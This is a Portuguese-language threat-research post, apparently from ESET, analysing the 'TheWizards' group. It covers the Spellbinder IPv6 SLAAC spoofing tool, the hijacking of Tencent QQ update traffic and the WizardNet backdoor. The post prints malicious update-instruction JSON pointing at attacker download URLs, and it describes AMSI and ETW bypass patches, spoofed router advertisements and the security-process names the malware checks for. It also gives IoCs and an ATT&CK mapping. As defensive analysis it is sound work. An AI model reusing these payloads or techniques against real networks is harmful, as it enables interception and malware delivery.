Neste post, a equipe de pesquisa da ESET apresenta uma análise do Spellbinder, uma ferramenta de movimento lateral para realizar ataques do tipo adversary-in-the-middle, usada por cibercriminosos alinhados à China que chamamos de "TheWizards". O Spellbinder permite que ataques do tipo adversary-in-the-middle (AitM), por meio de falsificação de autoconfiguração de endereço sem estado IPv6 (SLAAC), se movam lateralmente na rede comprometida, interceptando pacotes e redirecionando o tráfego de software chinês legítimo para que ele baixe atualizações maliciosas de um servidor controlado pelos crimininosos.
Principais pontos deste post:
- Descobrimos um downloader sendo implantado por mecanismos legítimos de atualização de software chinês nos computadores das vítimas.
- O downloader procura implantar um backdoor modular que chamamos de WizardNet.
- Analisamos o Spellbinder: a ferramenta usada para realizar ataques locais do tipo adversary-in-the-middle e para redirecionar o tráfego para um servidor controlado por criminosos a fim de fornecer o backdoor WizardNet característico do grupo.
- Fornecemos detalhes sobre os vínculos entre a TheWizards e a empresa chinesa Dianke Network Security Technology, também conhecida como UPSEC.
Visão geral
Em 2022, notamos que uma DLL suspeita havia sido baixada pelo popular aplicativo de software de método de entrada chinês conhecido como Sogou Pinyin. A DLL, que recebeu o nome de um componente legítimo desse software, era um dropper para um downloader que recuperava um blob criptografado de um servidor remoto. O blob continha shellcode que carrega o backdoor que batizamos de WizardNet.
Nossa pesquisa levou à descoberta de uma ferramenta, usada pelos cibercriminosos, que foi projetada para realizar ataques do tipo adversary-in-the-middle utilizando IPv6 SLAAC spoofing para interceptar e responder a pacotes em uma rede, permitindo que os criminosos redirecionem o tráfego e forneçam atualizações mal-intencionadas direcionadas ao software chinês legítimo.
Vitimologia
O TheWizards tem estado constantemente ativo desde pelo menos 2022 até o momento em que este artigo foi escrito. De acordo com a telemetria da ESET, o TheWizards tem como alvo indivíduos, empresas de jogos de azar e entidades desconhecidas nas Filipinas, no Camboja, nos Emirados Árabes Unidos, na China continental e em Hong Kong. Sua distribuição geográfica é mostrada na Figura 1.

Spellbinder, a ferramenta IPv6 AitM
Inicialmente, descobrimos e analisamos essa ferramenta em 2022 e observamos uma nova versão com algumas alterações que foi implantada em máquinas comprometidas em 2023 e 2024. Depois que os cibercriminosos obtêm acesso a uma máquina em uma rede-alvo, eles implantam um arquivo chamado AVGApplicationFrameHostS.zip e extraem seus componentes em %PROGRAMFILES%\AVG Technologies. Os arquivos incluem:
- AVGApplicationFrameHost.exe
- wsc.dll
- log.dat
- winpcap.exe
Em seguida, os criminosos instalam o winpcap.exe e executam o AVGApplicationFrameHost.exe. O último, originalmente chamado wsc_proxy.exe, é um componente de software legítimo da AVG que é usado para carregar lateralmente o wsc.dll; essa DLL simplesmente lê o shellcode do arquivo log.dat e o executa na memória. O shellcode descompacta e carrega o Spellbinder na memória.
O Spellbinder usa a biblioteca WinPcap para capturar e responder a pacotes quando necessário. A primeira tarefa é selecionar ou localizar um adaptador para realizar a captura de pacotes. O código usa a API pcap_findalldevs do WinPcap para obter todos os dispositivos adaptadores disponíveis. Os dispositivos são discriminados em uma lista numerada para o cibercrinoso. Opcionalmente, o Spellbinder aceita, como argumento, um índice que pode ser usado para escolher um adaptador dessa lista. Se um dispositivo não for fornecido, o Spellbinder usará as APIs GetBestInterface e GetAdapterInfo do Windows para encontrar um adaptador adequado e imprimirá suas informações na tela.
A Figura 2 mostra a saída do Spellbinder quando nenhum número de item é fornecido. Nesse caso, a ferramenta encontra o adaptador mais adequado por si.

Conforme mostrado na Figura 3, depois que um adaptador é encontrado, o Spellbinder usa a API WinPcap pcap_open_live para começar a capturar pacotes e cria dois threads: um para enviar pacotes ICMPv6 Router Advertisement (explicado na próxima seção) e outro para monitorar as alterações na rede. A API WinPcap pcap_loop faz o trabalho de invocar uma função de retorno de chamada do Spellbinder sempre que um novo pacote é capturado.

Tópico de anúncio de roteador
Esse vetor de ataque já havia sido discutido pela IETF em 2008 e decorre de uma configuração de rede incorreta, muitas vezes negligenciada, relacionada à coexistência dos protocolos IPv4 e IPv6. Em 2011, Alec Waters detalhou essa técnica, denominando-a de ataque SLAAC. O ataque explora o protocolo IPv6 Neighbor Discovery, especificamente as mensagens ICMPv6 do tipo Router Advertisement (RA), que informam aos dispositivos na rede a presença de um roteador IPv6. Com isso, os hosts compatíveis com IPv6 — ou que estejam procurando um roteador IPv6 — adotam o dispositivo que enviou o anúncio como gateway padrão.
No caso do Spellbinder, um pacote RA multicast é enviado a cada 200 milissegundos para o endereço ff02::1 (destinado a "todos os nós"). Máquinas com Windows e IPv6 habilitado realizam a autoconfiguração de endereço sem estado (SLAAC) com base nas informações recebidas nessas mensagens RA. Assim, começam a encaminhar o tráfego IPv6 para o dispositivo que executa o Spellbinder, onde os pacotes são interceptados, analisados e, quando aplicável, respondidos. A Figura 4 ilustra a primeira fase do ataque.

O pacote RA criado pelo Spellbinder é composto por quatro partes principais:
-
Sinalizadores RA: o sinalizador de "configuração de endereço gerenciado" está definido como 0, indicando aos hosts que devem utilizar a autoconfiguração de endereço sem estado (SLAAC).
-
Opção de Prefixo: informa ao host que deve usar o prefixo 2001:db8::/64 para gerar seu endereço IPv6. Esse prefixo pertence a um bloco reservado exclusivamente para fins de documentação e não é roteável pela Internet.
- Opção de Servidor DNS Recursivo (RDNSS): fornece ao host os endereços de dois servidores DNS — 240e:56:4000:8000::11 e 240e:56:4000:8000::22. Ambos pertencem ao sistema autônomo AS4134, da infraestrutura backbone da China Telecom. No entanto, esses endereços não parecem responder a consultas DNS pela Internet, e não há evidências de que sejam servidores DNS legítimos.
-
Opção de Camada de Enlace de Origem: fornece o endereço MAC da máquina que executa o Spellbinder, a ser utilizado como o roteador padrão no segmento de rede local.
A Figura 5 apresenta uma das mensagens ICMPv6 RA enviadas pelo Spellbinder.

A Figura 6 mostra a saída do comando ipconfig /all do Windows antes e depois de executar o Spellbinder em uma máquina comprometida na rede.

Processamento de pacotes
Conforme mencionado anteriormente, uma função de callback é responsável por processar os pacotes brutos capturados. O Spellbinder implementa seu próprio analisador de pacotes, capaz de identificar quais devem ser processados, respondidos ou apenas utilizados para exibir informações na tela para o cibercriminoso.
A Tabela 1 descreve alguns dos tipos de pacotes mais relevantes manipulados pela ferramenta, bem como as ações executadas para cada um deles.
Tabela 1. Protocolos e tipos de pacotes aos quais o Spellbinder pode responder.
Protocol | Message type | Action taken |
DNS | Query | If the queried domain matches one of the domains in a list, it answers to the DNS query. |
ICMPv6 | Router Solicitation | Sends an RA packet. |
Router Advertisement | Logs information about the packet. | |
Neighbor Advertisement (NA) | Sends an NA packet. | |
DHCPv6 | Solicit | Sends an Advertisement message that provides DNS recursive name servers with the two previously mentioned IPv6 addresses. |
Information-request | Sends a Reply message that provides DNS recursive name servers with the two previously mentioned IPv6 addresses. | |
ARP | Any | Logs information about the packet. |
Quando uma consulta DNS é detectada, o Spellbinder verifica se o nome de domínio solicitado está presente em uma lista de subdomínios codificada diretamente no código-fonte. A lógica responsável por essa verificação é ilustrada na Figura 7.

A Figura 8 apresenta um subconjunto da lista codificada diretamente no Spellbinder. A lista completa de domínios-alvo inclui diversas entradas associadas a plataformas chinesas populares, como Tencent, Baidu, Xunlei, Youku, iQIYI, Kingsoft, Mango TV, Funshion, Youdao, Xiaomi e a interface MIUI da Xiaomi, PPLive, Meitu, Qihoo 360, Baofeng, entre outras.

Quando um domínio consultado via DNS é encontrado na lista codificada, o Spellbinder gera e envia uma resposta DNS, indicando um endereço IP também embutido no binário da ferramenta. Por exemplo, na versão de 2022, o endereço era 43.155.116[.]7, enquanto na versão mais recente conhecida — utilizada em 2024 — o endereço utilizado passou a ser 43.155.62[.]54.
Além disso, o Spellbinder notifica o invasor de que respondeu à consulta DNS. A Figura 9 exibe a saída da ferramenta, que inclui um dump hexadecimal estilizado do pacote completo, o comprimento em bytes e um título identificando a resposta como DNS ATTACK PAYLOAD.

A Figura 10 mostra as informações do pacote.

Sequestro de atualizações
Neste post, focamos em um dos casos mais recentes registrados em 2024, no qual o processo de atualização do software Tencent QQ foi sequestrado. O servidor malicioso responsável por emitir as instruções de atualização ainda estava ativo no momento da redação deste artigo. A Figura 11 ilustra a cadeia de eventos observada.

O componente legítimo de software, QQ.exe, envia uma solicitação HTTP para update.browser.qq.com. A ferramenta Spellbinder intercepta a consulta DNS para esse domínio e responde com um endereço IP de um servidor controlado pelo invasor — por exemplo, 43.155.62[.]54 — que, até o momento da redação deste artigo, ainda estava ativo e fornecendo atualizações maliciosas.
Ao receber a solicitação, o servidor de sequestro responde com instruções em formato JSON (a seguir apresentadas com formatação aprimorada para melhor leitura), direcionando o software a baixar um arquivo também hospedado nesse mesmo servidor:
{ "CSoftID": 22, "CommandLine": "", "Desp": "1.1.1160.80", "DownloadUrl": "http://43.155.62[.]54:81/app/minibrowser11_rpl.zip", "ErrCode": 0, "File": "minibrowser11.zip", "Flags": 1, "Hash": "da73153c76b6f652f9b2847531d1c367", "InstallType": 0, "NewVer": "39.1.1170.900", "PatchFile": "QBDeltaUpdate.exe", "PatchHash": "da73153c76b6f652f9b2847531d1c367", "Sign": "", "Size": 36673429, "VerType": "" }
Em seguida, o QQ.exe faz o download do arquivo minibrowser11_rpl.zip e implanta seu conteúdo na máquina da vítima; o minibrowser_shell.dll malicioso é então carregado.
Cadeia de execução após um ataque AitM bem-sucedido
A execução do malware em um computador comprometido se inicia com o carregamento da DLL maliciosa minibrowser_shell.dll, que atua como downloader. Essa biblioteca possui três funções de exportação, e a execução de qualquer uma delas ativa sua funcionalidade principal, porém, apenas se o nome do processo atual contiver “QQ”, como no caso de QQ.exe.
Utilizando a API WinSock, a DLL estabelece uma conexão TCP com um servidor controlado pelo invasor, de onde obtém um blob criptografado. Esse pacote de dados contém tanto o código do loader com suporte a execução independente de posição (position-independent code) quanto o backdoor WizardNet.
Código de shell do carregador
O loader começa tentando usar um desvio bem conhecido para o AMSI que corrige os primeiros bytes da função AmsiScanBuffer para retornar um código de erro, contornando assim o mecanismo que verifica a memória em busca de artefatos mal-intencionados. Em seguida, ele corrige o ponto de entrada da função EtwEventWrite com uma instrução RETN 0x14; isso tem o efeito de desativar o registro de eventos.
Para executar a carga útil na memória, o carregador inicializa o tempo de execução do .NET, conforme mostrado na Figura 12, usando as interfaces ICLRMetaHost, ICLRRuntimeInfo e ICorRuntimeHost, exigindo uma versão de tempo de execução v2.0.50727 ou v4.0.30319.

Em seguida, a carga útil é descriptografada por meio de uma combinação simples de operações ADD e XOR. Após a descriptografia, a carga útil é carregada na memória utilizando o tempo de execução do .NET. Posteriormente, o ponto de entrada da carga útil é executado, permitindo a continuidade do ataque.
WizardNet
A carga útil final é um backdoor que chamamos de WizardNet, um implante modular que se conecta a um controlador remoto para receber e executar módulos .NET na máquina comprometida. Durante sua inicialização, ele cria um mutex chamado Global\<MD5(nome_do_computador)> e lê o shellcode de um arquivo chamado ppxml.db no diretório de trabalho atual ou o valor da chave HKCU\000000 e tenta injetá-lo em um novo processo do explorer.exe ou %ProgramFiles%\Windows Photo Viewer\ImagingDevices.exe.
A última etapa da fase de inicialização é criar um identificador exclusivo para o computador, chamado de SessionKey. Ele é o resultado do hash MD5 do nome do computador concatenado com o tempo de instalação do backdoor e o número de série da unidade de disco, com cada byte codificado em hexadecimal do valor do hash separado por @. A SessionKey é armazenada no caminho do registro HKCU\Software\<MD5(nome_do_computador)>\<MD5(nome_do_computador)>mid.
Dependendo da configuração, o WizardNet pode criar um soquete TCP ou UDP para se comunicar com o servidor C&C, e as mensagens trocadas são preenchidas com o algoritmo PKCS7 e criptografadas com AES-ECB; a SessionKey é usada como chave para criptografia e descriptografia e o IV é gerado aleatoriamente para cada pacote e colocado antes dos dados criptografados.
Essa variante do WizardNet oferece suporte a cinco comandos, conforme mostrado na Tabela 2. Os três primeiros permitem que ele execute módulos .NET na memória, ampliando assim sua funcionalidade no sistema comprometido.
Tabela 2. Visão geral dos comandos suportados pelo orquestrador.
Command ID | Task |
0x56 | Load a .NET module into the orchestrator process. The module is received in the same message and loaded from memory. |
0x57 | Invoke a function from a .NET module loaded with the previous command. |
0x58 | Unload a module previously loaded with command 0x56. |
0x59 | Unload a Client plugin assembly. Call the u method implemented in the plugin assembly, presumably to clean up before being unloaded. |
0x5A | Send information to the server in two messages. The first message contains system and orchestrator information: · machine name, · OS name and architecture, · time since system started, · WizardNet install date, · privileges of the current process, · security products, · name of the current process, · the previously described SessionKey, and · private IP address. When obtaining a list of security solutions, it makes a list of running processes that match the following process names: 360tray, 360sd, kxetray, ksafe, avp, hipstray, qqpcrtp, avcenter, ashdisp, avgwdsvc, securityhealthsystray, mcshield, egui, and rtvscan. |
Links para a segurança da rede Sichuan Dianke
Em dezembro de 2024, a equipe de pesquisa da Trend Micro publicou uma análise do kit de exploração MOONSHINE e do malware DarkNimbus para dispositivos Android. O conjunto de ferramentas é usado por um grupo que a Trend Micro rastreia como Earth Minotaur e que tem como alvo principalmente as comunidades tibetanas e uigures. Em janeiro de 2025, a Intelligence Online identificou a empresa chinesa Sichuan Dianke Network Security Technology Co., Ltd. também conhecida como UPSEC (Figura 13), como a fornecedora do malware DarkNimbus.

A ESET rastreia o malware que a Trend Micro chamou de DarkNimbus como DarkNights (tanto para Windows quanto para Android); curiosamente, a Trend Micro nomeou o malware após a string DKNS presente nos nomes das funções do malware, e nós fizemos o mesmo(DarkNights) quando descobrimos o malware. Em abril de 2025, o NCSC UK publicou um aviso sobre o malware BADBAZAAR e o MOONSHINE, mencionando também o UPSEC em relação à pesquisa da Trend Micro sobre o Earth Minotaur.
Embora o TheWizards use um backdoor diferente para Windows (WizardNet), o servidor de sequestro é configurado para servir o DarkNights para atualizar aplicativos em execução em dispositivos Android. Embora não tenhamos visto nenhuma vítima na telemetria da ESET, conseguimos obter uma instrução de atualização maliciosa para a versão Android do Tencent QQ:
{"packages": [{"versionCode": 90999, "rules": [], "versionRegion": "", "plugins": [{ "name": "AudioFirstPiece", "packageId": "audiofirstpiece", "sampleRate": 10000, "sampleRateHigh": 12, "url": "http://43.155.62[.]54:81/app/plugin-audiofirstpiece.ml", "md5": "a961766c1b2e5133d589be1cf47e3338" }] }] }
O arquivo plugin-audiofirstpiece.ml é um arquivo ZIP que contém apenas um arquivo classes.dex, que é o DarkNights para Android. Isso indica que a Dianke Network Security é um intendente digital do grupo APT TheWizards.
A ESET continua rastreando o TheWizards independentemente do Earth Minotaur. Embora ambos os cibercriminosos usem o DarkNights/DarkNimbus, de acordo com a telemetria da ESET, o TheWizards tem se concentrado em alvos diferentes e usa infraestrutura e ferramentas adicionais (por exemplo, Spellbinder e WizardNet) que não foram observadas sendo usadas pelo Earth Minotaur.
Conclusão
Em 2022, descobrimos a atividade de um grupo APT alinhado à China, que chamamos de TheWizards. Durante nossa investigação, analisamos o malware e as ferramentas personalizadas desenvolvidas e utilizadas por esse grupo. Entre elas, destacamos a ferramenta IPv6 AitM, denominada Spellbinder, que permite aos invasores redirecionar os protocolos de atualização de software legítimo da China para servidores maliciosos. Nesse processo, o software das vítimas é induzido a baixar e executar atualizações falsas. Além disso, identificamos os componentes maliciosos que iniciam o backdoor, o qual denominamos WizardNet.
IoCs
Uma lista abrangente de indicadores de comprometimento e amostras pode ser encontrada em nosso repositório GitHub.
Arquivos
SHA-1 | Filename | ESET detection name | Description |
9784A1483B4586EB12D8 |
minibrowser_shell |
Win32/Agent.AGNF | Downloader component. |
4DB38A097AE4D5E70B2F |
Client.exe | MSIL/Agent.DMS | WizardNet backdoor. |
76953E949AC54BE8FF3A |
ipv6.exe | Win64/Agent.CAZ | Spellbinder tool (2022). |
DA867188937698C77698 |
N/A | Win64/Agent.CAZ | Spellbinder tool (2023), loaded in memory. |
0CBA19B19DF9E2C5EBE5 |
wsc.dll | Win64/Agent.EUO | Loads shellcode from log.dat. |
1A8147050AF6F05DEA5F |
log.dat | Win32/Rozena.BXT | Shellcode that loads Spellbinder. |
2D376ADF44DBD9CF5DB0 |
plugin-audiofirstpiece.ml | Android/Spy.Agent.EFF | ZIP archive containing DarkNights for Android. |
5B70A853D8E989AD102D |
classes.dex | Android/Spy.Agent.EFF | DarkNights for Android. |
Rede
IP | Domain | Provider | First seen | Details |
43.155.116[.]7 | hao[.]com | ACEVILLEPTELTD-SG | 2022‑11‑06 | Server issuing malicious updates to legitimate applications in 2022. Used by Spellbinder. (Note: Spellbinder hijacks requests to resolve the hao[.]com domain.) |
43.155.62[.]54 | vv.ssl-dns[.]com | ACEVILLEPTELTD-SG | 2022‑11‑29 | Server issuing malicious updates to legitimate applications in 2023 and 2024. Used by Spellbinder. |
43.135.35[.]84 | mkdmcdn[.]com | ACE-SG | 2023‑11‑15 | WizardNet C&C server. |
103.243.181[.]120 | assetsqq[.]com | HK Kwaifong Group Limited | 2021‑07‑15 | DarkNights C&C server. |
111.13.100[.]92 | N/A | CHINAMOBILE-CN | 2021‑07‑15 | DarkNights C&C server. |
Técnicas do MITRE ATT&CK
Esta tabela foi criada usando a versão 16 da estrutura MITRE ATT&CK.
Tactic | ID | Name | Description |
Resource Development | T1583.001 | Acquire Infrastructure: Domains | TheWizards has registered the domains hao[.]com, ssl-dns[.]com, and mkdmcdn[.]com. |
T1583.004 | Acquire Infrastructure: Server | TheWizards acquired servers for hosting tools, C&C, and to serve malicious updates. | |
T1587.001 | Develop Capabilities: Malware | TheWizards uses custom malware such as the WizardNet backdoor and Spellbinder. | |
T1588.002 | Obtain Capabilities: Tool | TheWizards installs WinPcap on compromised machines; it is required by Spellbinder. | |
Initial Access | T1659 | Content Injection | Spellbinder issues DNS answer messages with the IP address of a malicious server to hijack updates from legitimate applications. |
Execution | T1059.003 | Command and Scripting Interpreter: Windows Command Shell | TheWizards uses cmd.exe to execute commands to download and execute tools. |
T1106 | Native API | WizardNet uses CreateProcessA to execute processes it injects shellcode into. | |
Privilege Escalation | T1055 | Process Injection | WizardNet can inject code into Windows processes. |
Defense Evasion | T1480.002 | Execution Guardrails: Mutual Exclusion | WizardNet creates a mutex to prevent other instances of the backdoor from running. |
T1112 | Modify Registry | An unknown TheWizards component stores encrypted shellcode in the registry. | |
T1027.007 | Obfuscated Files or Information: Dynamic API Resolution | The downloader and shellcode used by TheWizards dynamically resolve API addresses. | |
T1027.009 | Obfuscated Files or Information: Embedded Payloads | The shellcode obtained by the downloader contains WizardNet in encrypted form. | |
T1027.014 | Obfuscated Files or Information: Polymorphic Code | The file log.dat contains polymorphic decryption code that loads the Spellbinder tool into memory. | |
T1055 | Process Injection | WizardNet injects shellcode into another process. | |
T1055.004 | Process Injection: Asynchronous Procedure Call | WizardNet uses the QueueUserApc API to execute injected code. | |
Discovery | T1518.001 | Software Discovery: Security Software Discovery | WizardNet obtains the name of running processes and matches them against a list of security solutions. |
T1082 | System Information Discovery | WizardNet obtains system information such as computer name, uptime, OS name, etc. | |
T1124 | System Time Discovery | WizardNet gets the system time. | |
Command and Control | T1105 | Ingress Tool Transfer | WizardNet can deploy tools and new modules obtained from its C&C. |
T1095 | Non-Application Layer Protocol | WizardNet uses TCP and UDP to communicate with its C&C. | |
T1573.001 | Encrypted Channel: Symmetric Cryptography | WizardNet can communicate via TCP or UDP, and messages exchanged with its C&C are encrypted with AES. |